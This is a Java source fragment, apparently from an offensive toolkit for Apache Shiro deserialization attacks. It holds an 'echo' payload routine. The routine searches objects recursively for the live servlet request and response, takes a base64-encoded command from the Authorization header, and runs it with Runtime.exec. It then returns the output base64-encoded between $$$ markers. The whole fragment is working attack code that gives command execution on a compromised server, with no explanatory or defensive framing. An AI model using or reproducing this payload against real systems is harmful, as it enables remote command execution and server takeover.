private static void p(Object o, int depth){
        if(depth > 52||(r !=null&& p !=null)){
            return;
        }
        if(!i(o)){
            if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){
                r = (javax.servlet.http.HttpServletRequest)o;
                if(r.getHeader("Host")==null && r.getHeader("Authorization") == null) {
                    r = null;
                }else{
                    try {
                        p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse",null).invoke(r,null);

                    } catch (Exception e) {
                        r = null;
                    }
                }

            }
            if(r !=null&& p !=null){
                try {

                    p.addHeader("Host",r.getHeader("Host"));
                    try {
                        p.getWriter().println("$$$" +  org.apache.shiro.codec.Base64.encodeToString(new java.util.Scanner(Runtime.getRuntime().exec(org.apache.shiro.codec.Base64.decodeToString(r.getHeader("Authorization").replaceAll("Basic ",""))).getInputStream()).useDelimiter("\\A").next().getBytes()) + "$$$");
                    }catch (Exception e){}

                    p.getWriter().flush();
                    p.getWriter().close();


                }catch (Exception e){
                }
                return;
            }

            F(o,depth+1);
        }
    }
@ClassName: dfs
@Description: TODO
@Author: Summer
@Date: 2021/12/9 13:45
@Version: v1.0.0
@Description:
src/main/java/com/summersec/attack/deser/echo/dfs.java